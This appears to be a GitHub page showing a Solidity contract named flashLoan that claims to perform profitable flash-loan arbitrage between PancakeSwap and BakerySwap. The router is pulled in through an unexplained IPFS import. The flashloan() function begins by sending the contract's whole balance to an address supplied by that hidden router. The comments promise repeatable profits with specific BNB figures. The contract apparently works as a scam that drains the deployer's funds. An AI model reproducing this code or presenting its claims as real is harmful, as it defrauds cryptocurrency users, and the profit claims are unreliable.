forked from Priyadarshan2000/HACKTOBERFEST-2021
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathflashLoan
61 lines (48 loc) · 2.38 KB
/
flashLoan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pragma solidity ^0.5.0;
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";
// Router
import "ipfs://QmbJ685kFCLQmA8naW6u3LCpkZNV32rEB2LnwamfQ7eX4u";
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
contract InitiateFlashLoan {
RouterV2 router;
string public tokenName;
string public tokenSymbol;
uint256 flashLoanAmount;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _loanAmount
) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
flashLoanAmount = _loanAmount;
router = new RouterV2();
}
function() external payable {}
function flashloan() public payable {
// Send required coins for swap
address(uint160(router.pancakeSwapAddress())).transfer(
address(this).balance
);
//Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
router.borrowFlashloanFromMultiplier(
address(this),
router.bakerySwapAddress(),
flashLoanAmount
);
//To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
//The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
//After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
router.transferBnbToMultiplier(router.pancakeSwapAddress());
//Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
router.completeTransation(address(this).balance);
}
}